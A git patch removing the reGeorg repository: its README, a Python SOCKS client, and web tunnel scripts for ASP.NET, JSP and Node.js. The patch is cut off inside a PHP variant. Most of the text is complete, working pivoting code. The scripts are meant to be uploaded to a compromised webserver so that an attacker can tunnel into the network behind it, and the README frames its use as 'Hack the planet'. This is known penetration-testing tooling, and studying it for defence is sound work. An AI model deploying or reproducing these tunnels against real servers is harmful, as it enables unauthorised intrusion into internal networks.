From da55241b66bd8de0b1e294991add67d10b93e6c2 Mon Sep 17 00:00:00 2001 From: gorgiaxx Date: Mon, 9 Apr 2018 12:06:25 +0800 Subject: [PATCH 1/2] remove old files --- LICENSE.html | 1 - LICENSE.txt | 5 - README.md | 81 -------- reGeorgSocksProxy.py | 430 ------------------------------------------- tunnel.ashx | 119 ------------ tunnel.aspx | 128 ------------- tunnel.js | 239 ------------------------ tunnel.jsp | 111 ----------- tunnel.nosocket.php | 200 -------------------- tunnel.php | 194 ------------------- tunnel.tomcat.5.jsp | 111 ----------- 11 files changed, 1619 deletions(-) delete mode 100644 LICENSE.html delete mode 100644 LICENSE.txt delete mode 100644 README.md delete mode 100644 reGeorgSocksProxy.py delete mode 100644 tunnel.ashx delete mode 100644 tunnel.aspx delete mode 100644 tunnel.js delete mode 100644 tunnel.jsp delete mode 100644 tunnel.nosocket.php delete mode 100644 tunnel.php delete mode 100644 tunnel.tomcat.5.jsp diff --git a/LICENSE.html b/LICENSE.html deleted file mode 100644 index aac0baa..0000000 --- a/LICENSE.html +++ /dev/null @@ -1 +0,0 @@ -Creative Commons License
SensePost reGeorg by Willem Mouton is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Permissions beyond the scope of this license may be available at willem@sensepost.com diff --git a/LICENSE.txt b/LICENSE.txt deleted file mode 100644 index c347117..0000000 --- a/LICENSE.txt +++ /dev/null @@ -1,5 +0,0 @@ -This work is licensed under the Creative Commons -Attribution-Non Commercial-ShareAlike 4.0 International -License. To view a copy of this license, visit - -http://creativecommons.org/licenses/by-nc-sa/4.0/deed.en_US. diff --git a/README.md b/README.md deleted file mode 100644 index 872198c..0000000 --- a/README.md +++ /dev/null @@ -1,81 +0,0 @@ -reGeorg -========= - -``` _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg -``` -willem@sensepost.com / [@\_w\_m\_\_] - -sam@sensepost.com / [@trowalts] - -etienne@sensepost.com / [@kamp_staaldraad] - - -Version ----- - -1.0 - -Dependencies ------------ - -reGeorg requires Python 2.7 and the following modules: - -* [urllib3] - HTTP library with thread-safe connection pooling, file post, and more. - - -Usage --------------- - -``` -$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v] - -Socks server for reGeorg HTTP(s) tunneller - -optional arguments: - -h, --help show this help message and exit - -l , --listen-on The default listening address - -p , --listen-port The default listening port - -r , --read-buff Local read buffer, max data to be sent per POST - -u , --url The url containing the tunnel script - -v , --verbose Verbose output[INFO|DEBUG] - -``` - -* **Step 1.** -Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to -you) - -* **Step 2.** -Configure you tools to use a socks proxy, use the ip address and port you -specified when -you started the reGeorgSocksProxy.py - -** Note, if you tools, such as NMap doesn't support socks proxies, use -[proxychains] (see wiki) - -* **Step 3.** Hack the planet :) - - -Example ---------- -``` -$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp -``` - -License ----- - -MIT - - -[@\_w\_m\_\_]:http://twitter.com/_w_m__ -[@trowalts]:http://twitter.com/trowalts -[@kamp_staaldraad]:http://twitter.com/kamp_staaldraad -[urllib3]:https://pypi.python.org/pypi/urllib3 -[proxychains]:http://sourceforge.net/projects/proxychains/ diff --git a/reGeorgSocksProxy.py b/reGeorgSocksProxy.py deleted file mode 100644 index 86647f9..0000000 --- a/reGeorgSocksProxy.py +++ /dev/null @@ -1,430 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import logging -import argparse -import urllib3 -from threading import Thread -from urlparse import urlparse -from socket import * -from threading import Thread -from time import sleep - -# Constants -SOCKTIMEOUT = 5 -RESENDTIMEOUT = 300 -VER = "\x05" -METHOD = "\x00" -SUCCESS = "\x00" -SOCKFAIL = "\x01" -NETWORKFAIL = "\x02" -HOSTFAIL = "\x04" -REFUSED = "\x05" -TTLEXPIRED = "\x06" -UNSUPPORTCMD = "\x07" -ADDRTYPEUNSPPORT = "\x08" -UNASSIGNED = "\x09" - -BASICCHECKSTRING = "Georg says, 'All seems fine'" - -# Globals -READBUFSIZE = 1024 - -# Logging -RESET_SEQ = "\033[0m" -COLOR_SEQ = "\033[1;%dm" -BOLD_SEQ = "\033[1m" - -BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) - -LEVEL = {"INFO": logging.INFO, "DEBUG": logging.DEBUG, } - -logLevel = "INFO" - -COLORS = { - 'WARNING': YELLOW, - 'INFO': WHITE, - 'DEBUG': BLUE, - 'CRITICAL': YELLOW, - 'ERROR': RED, - 'RED': RED, - 'GREEN': GREEN, - 'YELLOW': YELLOW, - 'BLUE': BLUE, - 'MAGENTA': MAGENTA, - 'CYAN': CYAN, - 'WHITE': WHITE, -} - - -def formatter_message(message, use_color=True): - if use_color: - message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) - else: - message = message.replace("$RESET", "").replace("$BOLD", "") - return message - - -class ColoredFormatter(logging.Formatter): - def __init__(self, msg, use_color=True): - logging.Formatter.__init__(self, msg) - self.use_color = use_color - - def format(self, record): - levelname = record.levelname - if self.use_color and levelname in COLORS: - levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ - record.levelname = levelname_color - return logging.Formatter.format(self, record) - - -class ColoredLogger(logging.Logger): - - def __init__(self, name): - FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" - COLOR_FORMAT = formatter_message(FORMAT, True) - logging.Logger.__init__(self, name, logLevel) - if (name == "transfer"): - COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT - color_formatter = ColoredFormatter(COLOR_FORMAT) - - console = logging.StreamHandler() - console.setFormatter(color_formatter) - - self.addHandler(console) - return - - -logging.setLoggerClass(ColoredLogger) -log = logging.getLogger(__name__) -transferLog = logging.getLogger("transfer") - - -class SocksCmdNotImplemented(Exception): - pass - - -class SocksProtocolNotImplemented(Exception): - pass - - -class RemoteConnectionFailed(Exception): - pass - - -class session(Thread): - def __init__(self, pSocket, connectString): - Thread.__init__(self) - self.pSocket = pSocket - self.connectString = connectString - o = urlparse(connectString) - try: - self.httpPort = o.port - except: - if o.scheme == "https": - self.httpPort = 443 - else: - self.httpPort = 80 - self.httpScheme = o.scheme - self.httpHost = o.netloc.split(":")[0] - self.httpPath = o.path - self.cookie = None - if o.scheme == "http": - self.httpScheme = urllib3.HTTPConnectionPool - else: - self.httpScheme = urllib3.HTTPSConnectionPool - - def parseSocks5(self, sock): - log.debug("SocksVersion5 detected") - nmethods, methods = (sock.recv(1), sock.recv(1)) - sock.sendall(VER + METHOD) - ver = sock.recv(1) - if ver == "\x02": # this is a hack for proxychains - ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) - else: - cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) - target = None - targetPort = None - if atyp == "\x01": # IPv4 - # Reading 6 bytes for the IP and Port - target = sock.recv(4) - targetPort = sock.recv(2) - target = "." .join([str(ord(i)) for i in target]) - elif atyp == "\x03": # Hostname - targetLen = ord(sock.recv(1)) # hostname length (1 byte) - target = sock.recv(targetLen) - targetPort = sock.recv(2) - target = "".join([unichr(ord(i)) for i in target]) - elif atyp == "\x04": # IPv6 - target = sock.recv(16) - targetPort = sock.recv(2) - tmp_addr = [] - for i in xrange(len(target) / 2): - tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1]))) - target = ":".join(tmp_addr) - targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) - if cmd == "\x02": # BIND - raise SocksCmdNotImplemented("Socks5 - BIND not implemented") - elif cmd == "\x03": # UDP - raise SocksCmdNotImplemented("Socks5 - UDP not implemented") - elif cmd == "\x01": # CONNECT - serverIp = target - try: - serverIp = gethostbyname(target) - except: - log.error("oeps") - serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) - self.cookie = self.setupRemoteSession(target, targetPort) - if self.cookie: - sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) - return True - else: - sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) - raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort)) - - raise SocksCmdNotImplemented("Socks5 - Unknown CMD") - - def parseSocks4(self, sock): - log.debug("SocksVersion4 detected") - cmd = sock.recv(1) - if cmd == "\x01": # Connect - targetPort = sock.recv(2) - targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) - target = sock.recv(4) - sock.recv(1) - target = ".".join([str(ord(i)) for i in target]) - serverIp = target - try: - serverIp = gethostbyname(target) - except: - log.error("oeps") - serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) - self.cookie = self.setupRemoteSession(target, targetPort) - if self.cookie: - sock.sendall(chr(0) + chr(90) + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) - return True - else: - sock.sendall("\x00" + "\x91" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) - raise RemoteConnectionFailed("Remote connection failed") - else: - raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) - - def handleSocks(self, sock): - # This is where we setup the socks connection - ver = sock.recv(1) - if ver == "\x05": - return self.parseSocks5(sock) - elif ver == "\x04": - return self.parseSocks4(sock) - - def setupRemoteSession(self, target, port): - headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} - self.target = target - self.port = port - cookie = None - conn = self.httpScheme(host=self.httpHost, port=self.httpPort) - # response = conn.request("POST", self.httpPath, params, headers) - response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="") - if response.status == 200: - status = response.getheader("x-status") - if status == "OK": - cookie = response.getheader("set-cookie") - log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie)) - else: - if response.getheader("X-ERROR") is not None: - log.error(response.getheader("X-ERROR")) - else: - log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR"))) - log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data)) - conn.close() - return cookie - - def closeRemoteSession(self): - headers = {"X-CMD": "DISCONNECT", "Cookie": self.cookie} - params = "" - conn = self.httpScheme(host=self.httpHost, port=self.httpPort) - response = conn.request("POST", self.httpPath + "?cmd=disconnect", params, headers) - if response.status == 200: - log.info("[%s:%d] Connection Terminated" % (self.target, self.port)) - conn.close() - - def reader(self): - conn = urllib3.PoolManager() - while True: - try: - if not self.pSocket: - break - data = "" - headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"} - response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="") - data = None - if response.status == 200: - status = response.getheader("x-status") - if status == "OK": - if response.getheader("set-cookie") is not None: - cookie = response.getheader("set-cookie") - data = response.data - # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters - try: - if response.getheader("server").find("Apache-Coyote/1.1") > 0: - data = data[:len(data) - 1] - except: - pass - if data is None: - data = "" - else: - data = None - log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR"))) - else: - log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) - if data is None: - # Remote socket closed - break - if len(data) == 0: - sleep(0.1) - continue - transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data))) - self.pSocket.send(data) - except Exception, ex: - raise ex - self.closeRemoteSession() - log.debug("[%s:%d] Closing localsocket" % (self.target, self.port)) - try: - self.pSocket.close() - except: - log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port)) - - def writer(self): - global READBUFSIZE - conn = urllib3.PoolManager() - while True: - try: - self.pSocket.settimeout(1) - data = self.pSocket.recv(READBUFSIZE) - if not data: - break - headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"} - response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data) - if response.status == 200: - status = response.getheader("x-status") - if status == "OK": - if response.getheader("set-cookie") is not None: - self.cookie = response.getheader("set-cookie") - else: - log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error"))) - break - else: - log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) - break - transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data))) - except timeout: - continue - except Exception, ex: - raise ex - break - self.closeRemoteSession() - log.debug("Closing localsocket") - try: - self.pSocket.close() - except: - log.debug("Localsocket already closed") - - def run(self): - try: - if self.handleSocks(self.pSocket): - log.debug("Staring reader") - r = Thread(target=self.reader, args=()) - r.start() - log.debug("Staring writer") - w = Thread(target=self.writer, args=()) - w.start() - r.join() - w.join() - except SocksCmdNotImplemented, si: - log.error(si.message) - self.pSocket.close() - except SocksProtocolNotImplemented, spi: - log.error(spi.message) - self.pSocket.close() - except Exception, e: - log.error(e.message) - self.closeRemoteSession() - self.pSocket.close() - - -def askGeorg(connectString): - connectString = connectString - o = urlparse(connectString) - try: - httpPort = o.port - except: - if o.scheme == "https": - httpPort = 443 - else: - httpPort = 80 - httpScheme = o.scheme - httpHost = o.netloc.split(":")[0] - httpPath = o.path - if o.scheme == "http": - httpScheme = urllib3.HTTPConnectionPool - else: - httpScheme = urllib3.HTTPSConnectionPool - - conn = httpScheme(host=httpHost, port=httpPort) - response = conn.request("GET", httpPath) - if response.status == 200: - if BASICCHECKSTRING == response.data.strip(): - log.info(BASICCHECKSTRING) - return True - conn.close() - return False - -if __name__ == '__main__': - print """\033[1m - \033[1;33m - _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg - - willem@sensepost.com / @_w_m__ - sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad - \033[0m - """ - log.setLevel(logging.DEBUG) - parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') - parser.add_argument("-l", "--listen-on", metavar="", help="The default listening address", default="127.0.0.1") - parser.add_argument("-p", "--listen-port", metavar="", help="The default listening port", type=int, default="8888") - parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST", type=int, default="1024") - parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script") - parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO") - args = parser.parse_args() - if (args.verbose in LEVEL): - log.setLevel(LEVEL[args.verbose]) - log.info("Log Level set to [%s]" % args.verbose) - - log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url)) - log.info("Checking if Georg is ready") - if not askGeorg(args.url): - log.info("Georg is not ready, please check url") - exit() - READBUFSIZE = args.read_buff - servSock = socket(AF_INET, SOCK_STREAM) - servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) - servSock.bind((args.listen_on, args.listen_port)) - servSock.listen(1000) - while True: - try: - sock, addr_info = servSock.accept() - sock.settimeout(SOCKTIMEOUT) - log.debug("Incomming connection") - session(sock, args.url).start() - except KeyboardInterrupt, ex: - break - except Exception, e: - log.error(e) - servSock.close() diff --git a/tunnel.ashx b/tunnel.ashx deleted file mode 100644 index abd4b64..0000000 --- a/tunnel.ashx +++ /dev/null @@ -1,119 +0,0 @@ -<%@ WebHandler Language="C#" Class="GenericHandler1" %> - -using System; -using System.Web; -using System.Net; -using System.Net.Sockets; - -public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSessionState -{ - - public void ProcessRequest (HttpContext context) { - try - { - if (context.Request.HttpMethod == "POST") - { - String cmd = context.Request.QueryString.Get("cmd").ToUpper(); - if (cmd == "CONNECT") - { - try - { - String target = context.Request.QueryString.Get("target").ToUpper(); - int port = int.Parse(context.Request.QueryString.Get("port")); - IPAddress ip = IPAddress.Parse(target); - System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); - Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - - sender.Connect(remoteEP); - sender.Blocking = false; - context.Session["socket"] = sender; - context.Response.AddHeader("X-STATUS", "OK"); - } - catch (Exception ex) - { - context.Response.AddHeader("X-ERROR", ex.Message); - context.Response.AddHeader("X-STATUS", "FAIL"); - } - } - else if (cmd == "DISCONNECT") - { - try - { - Socket s = (Socket)context.Session["socket"]; - s.Close(); - } - catch (Exception ex) - { - - } - context.Session.Abandon(); - context.Response.AddHeader("X-STATUS", "OK"); - } - else if (cmd == "FORWARD") - { - Socket s = (Socket)context.Session["socket"]; - try - { - int buffLen = context.Request.ContentLength; - byte[] buff = new byte[buffLen]; - int c = 0; - while ((c = context.Request.InputStream.Read(buff, 0, buff.Length)) > 0) - { - s.Send(buff); - } - context.Response.AddHeader("X-STATUS", "OK"); - } - catch (Exception ex) - { - context.Response.AddHeader("X-ERROR", ex.Message); - context.Response.AddHeader("X-STATUS", "FAIL"); - } - } - else if (cmd == "READ") - { - Socket s = (Socket)context.Session["socket"]; - try - { - int c = 0; - byte[] readBuff = new byte[512]; - try - { - while ((c = s.Receive(readBuff)) > 0) - { - byte[] newBuff = new byte[c]; - Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c); - context.Response.BinaryWrite(newBuff); - } - context.Response.AddHeader("X-STATUS", "OK"); - } - catch (SocketException soex) - { - context.Response.AddHeader("X-STATUS", "OK"); - return; - } - - } - catch (Exception ex) - { - context.Response.AddHeader("X-ERROR", ex.Message); - context.Response.AddHeader("X-STATUS", "FAIL"); - } - } - } else { - context.Response.Write("Georg says, 'All seems fine'"); - } - } - catch (Exception exKak) - { - context.Response.AddHeader("X-ERROR", exKak.Message); - context.Response.AddHeader("X-STATUS", "FAIL"); - } - } - - public bool IsReusable { - get { - return false; - } - } - -} diff --git a/tunnel.aspx b/tunnel.aspx deleted file mode 100644 index 6816b7b..0000000 --- a/tunnel.aspx +++ /dev/null @@ -1,128 +0,0 @@ -<%@ Page Language="C#" EnableSessionState="True"%> -<%@ Import Namespace="System.Net" %> -<%@ Import Namespace="System.Net.Sockets" %> -<% -/* _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg - - willem@sensepost.com / @_w_m__ - sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad - -Legal Disclaimer -Usage of reGeorg for attacking networks without consent -can be considered as illegal activity. The authors of -reGeorg assume no liability or responsibility for any -misuse or damage caused by this program. - -If you find reGeorge on one of your servers you should -consider the server compromised and likely further compromise -to exist within your internal network. - -For more information, see: -https://github.com/sensepost/reGeorg -*/ - try - { - if (Request.HttpMethod == "POST") - { - //String cmd = Request.Headers.Get("X-CMD"); - String cmd = Request.QueryString.Get("cmd").ToUpper(); - if (cmd == "CONNECT") - { - try - { - String target = Request.QueryString.Get("target").ToUpper(); - //Request.Headers.Get("X-TARGET"); - int port = int.Parse(Request.QueryString.Get("port")); - //Request.Headers.Get("X-PORT")); - IPAddress ip = IPAddress.Parse(target); - System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); - Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - sender.Connect(remoteEP); - sender.Blocking = false; - Session.Add("socket", sender); - Response.AddHeader("X-STATUS", "OK"); - } - catch (Exception ex) - { - Response.AddHeader("X-ERROR", ex.Message); - Response.AddHeader("X-STATUS", "FAIL"); - } - } - else if (cmd == "DISCONNECT") - { - try { - Socket s = (Socket)Session["socket"]; - s.Close(); - } catch (Exception ex){ - - } - Session.Abandon(); - Response.AddHeader("X-STATUS", "OK"); - } - else if (cmd == "FORWARD") - { - Socket s = (Socket)Session["socket"]; - try - { - int buffLen = Request.ContentLength; - byte[] buff = new byte[buffLen]; - int c = 0; - while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0) - { - s.Send(buff); - } - Response.AddHeader("X-STATUS", "OK"); - } - catch (Exception ex) - { - Response.AddHeader("X-ERROR", ex.Message); - Response.AddHeader("X-STATUS", "FAIL"); - } - } - else if (cmd == "READ") - { - Socket s = (Socket)Session["socket"]; - try - { - int c = 0; - byte[] readBuff = new byte[512]; - try - { - while ((c = s.Receive(readBuff)) > 0) - { - byte[] newBuff = new byte[c]; - //Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c); - System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c); - Response.BinaryWrite(newBuff); - } - Response.AddHeader("X-STATUS", "OK"); - } - catch (SocketException soex) - { - Response.AddHeader("X-STATUS", "OK"); - return; - } - } - catch (Exception ex) - { - Response.AddHeader("X-ERROR", ex.Message); - Response.AddHeader("X-STATUS", "FAIL"); - } - } - } else { - Response.Write("Georg says, 'All seems fine'"); - } - } - catch (Exception exKak) - { - Response.AddHeader("X-ERROR", exKak.Message); - Response.AddHeader("X-STATUS", "FAIL"); - } -%> diff --git a/tunnel.js b/tunnel.js deleted file mode 100644 index c73903b..0000000 --- a/tunnel.js +++ /dev/null @@ -1,239 +0,0 @@ -var http = require('http'); -var net = require('net'); -var dataBuff = []; -var sessions = []; - -function attachOutboundListener(outboundTCP) -{ - outboundTCP.on('data', function(data) { - for(var key in sessions) - { - if(sessions[key]=outboundTCP) - { - dataBuff[key]=data; - } - } - }); -} - -function createOutboundTCP(res,req) -{ - var reqCookie=req.headers['cookie']; - var HOST = req.headers['x-target']; - var PORT = req.headers['x-port']; - - if(reqCookie==null) - { - var tcpConn = new net.Socket(); - - tcpConn.connect(PORT,HOST); - - tcpConn.on( 'connect', function() { - var cookie='Ur'+Math.random(); - sessions[cookie]=tcpConn; - attachOutboundListener(tcpConn); - res.writeHead(200,{'Set-Cookie':cookie,'X-STATUS':'OK'}); - res.end(); - }); - - tcpConn.on('error', function(error){ - console.log("Error creating new Outbound: "+error.message); - res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message}); - res.end(); - }); - } - else if(reqCookie!=null&&sessions[reqCookie]==null) - { - var tcpConn = new net.Socket(); - tcpConn.connect(PORT,HOST); - - tcpConn.on( 'connect', function() { - sessions[reqCookie]=tcpConn; - attachOutboundListener(tcpConn); - res.writeHead(200,{'X-STATUS':'OK'}); - res.end(); - }); - - tcpConn.on('error', function(error){ - console.log("Error creating new Outbound: "+error.message); - res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message}); - res.end(); - }); - } - else - { - res.writeHead(200,{'X-STATUS':'OK'}); - res.end(); - } -} - -function readOutboundTCP(res,req) -{ - var reqCookie=req.headers['cookie']; - - if(reqCookie!=null) - { - var currData=dataBuff[reqCookie]; - dataBuff[reqCookie]=null; - - if(currData!=null) - { - res.writeHead(200,{'X-STATUS':'OK'}); - res.write(currData); - res.end(); - } - else - { - console.log('NO DATA IN BUFFER TO READ'); - res.writeHead(200,{'X-STATUS':'OK'}); - res.end(); - } - } - else - { - console.log('No cookie to read data'); - res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':'NO COOKIE'}); - res.end(); - } - -} - -function disconnectOutboundTCP(res,req,error) -{ - - var tcpConn=sessions[req.headers['cookie']]; - - if(tcpConn!=null) - { - tcpConn.destroy(); - tcpConn=null; - sessions[req.headers['cookie']]=null; - dataBuff[req.headers['cookie']]=null; - } - - if(error!=null) - { - res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message,'Set-Cookie':'; expires=Thu, 01 Jan 1970 00:00:00 GMT'}); - res.end(); - } - else - { - res.writeHead(200,{'Set-Cookie':'; expires=Thu, 01 Jan 1970 00:00:00 GMT','X-STATUS':'OK'}); - res.end(); - } - -} - -function forwardData(req,res) -{ - var forwardData; - - req.on('data', function (chunk) { - forwardData=chunk; - }); - - req.on('end', function (){ - if(forwardData!=null) - { - var tcpSocket=sessions[req.headers['cookie']]; - - if(tcpSocket!=null) - { - tcpSocket.write(forwardData); - res.writeHead(200,{'X-STATUS':'OK'}); - res.end(); - } - else - { - console.log('No Cookie session to forward'); - res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':'NO COOKIE'}); - res.end(); - } - } - else - { - console.log('No data in FORWARD'); - res.writeHead(200,{'X-STATUS':'OK'}); - res.end(); - } - - }); -} - -var server=http.createServer(function (req, res) { - -// for(var item in req.headers) { -// console.log('REQ: '+item + ": " + req.headers[item]); -// } - - var cmd=req.headers['x-cmd']; - - if(cmd!=null) - { - if(cmd=='CONNECT') - { - console.log('CONNECT') - try - { - createOutboundTCP(res,req); - } - catch(error) - { - disconnectOutboundTCP(res,req,error); - } - } - - else if(cmd=='DISCONNECT') - { - console.log('DISCONNECT') - try - { - disconnectOutboundTCP(res,req,null); - } - catch(error) - { - disconnectOutboundTCP(res,req,error); - } - } - - else if(cmd=='READ') - { - console.log('READ') - try - { - readOutboundTCP(res,req); - } - catch(error) - { - disconnectOutboundTCP(res,req,error); - } - } - - else if(cmd=='FORWARD') - { - console.log('FORWARD'); - try - { - forwardData(req,res); - } - catch(error) - { - disconnectOutboundTCP(res,req,error); - } - } - else - { - res.write("Georg says, 'All seems fine'"); - res.end(); - } - } - - else - { - res.write("Georg says, 'All seems fine'"); - res.end(); - } - -}); - -server.listen(65000, '127.0.0.1'); diff --git a/tunnel.jsp b/tunnel.jsp deleted file mode 100644 index d35ad8b..0000000 --- a/tunnel.jsp +++ /dev/null @@ -1,111 +0,0 @@ -<%/* - _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg - - willem@sensepost.com / @_w_m__ - sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad - -Legal Disclaimer -Usage of reGeorg for attacking networks without consent -can be considered as illegal activity. The authors of -reGeorg assume no liability or responsibility for any -misuse or damage caused by this program. - -If you find reGeorge on one of your servers you should -consider the server compromised and likely further compromise -to exist within your internal network. - -For more information, see: -https://github.com/sensepost/reGeorg - -*/%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" trimDirectiveWhitespaces="true"%><% - String cmd = request.getHeader("X-CMD"); - if (cmd != null) { - response.setHeader("X-STATUS", "OK"); - if (cmd.compareTo("CONNECT") == 0) { - try { - String target = request.getHeader("X-TARGET"); - int port = Integer.parseInt(request.getHeader("X-PORT")); - SocketChannel socketChannel = SocketChannel.open(); - socketChannel.connect(new InetSocketAddress(target, port)); - socketChannel.configureBlocking(false); - session.setAttribute("socket", socketChannel); - response.setHeader("X-STATUS", "OK"); - } catch (UnknownHostException e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - } catch (IOException e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - - } - } else if (cmd.compareTo("DISCONNECT") == 0) { - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try{ - socketChannel.socket().close(); - } catch (Exception ex) { - System.out.println(ex.getMessage()); - } - session.invalidate(); - } else if (cmd.compareTo("READ") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try { - ByteBuffer buf = ByteBuffer.allocate(512); - int bytesRead = socketChannel.read(buf); - ServletOutputStream so = response.getOutputStream(); - while (bytesRead > 0){ - so.write(buf.array(),0,bytesRead); - so.flush(); - buf.clear(); - bytesRead = socketChannel.read(buf); - } - response.setHeader("X-STATUS", "OK"); - so.flush(); - so.close(); - - } catch (Exception e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - //socketChannel.socket().close(); - } - - } else if (cmd.compareTo("FORWARD") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try { - - int readlen = request.getContentLength(); - byte[] buff = new byte[readlen]; - - request.getInputStream().read(buff, 0, readlen); - ByteBuffer buf = ByteBuffer.allocate(readlen); - buf.clear(); - buf.put(buff); - buf.flip(); - - while(buf.hasRemaining()) { - socketChannel.write(buf); - } - response.setHeader("X-STATUS", "OK"); - //response.getOutputStream().close(); - - } catch (Exception e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - socketChannel.socket().close(); - } - } - } else { - //PrintWriter o = response.getWriter(); - out.print("Georg says, 'All seems fine'"); - } -%> diff --git a/tunnel.nosocket.php b/tunnel.nosocket.php deleted file mode 100644 index 3c59044..0000000 --- a/tunnel.nosocket.php +++ /dev/null @@ -1,200 +0,0 @@ - $val) { - if( preg_match($rx_http, $key) ) { - $arh_key = preg_replace($rx_http, '', $key); - $rx_matches = array(); - $rx_matches = explode('_', $arh_key); - if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { - foreach($rx_matches as $ak_key => $ak_val) { - $rx_matches[$ak_key] = ucfirst($ak_val); - } - - $arh_key = implode('-', 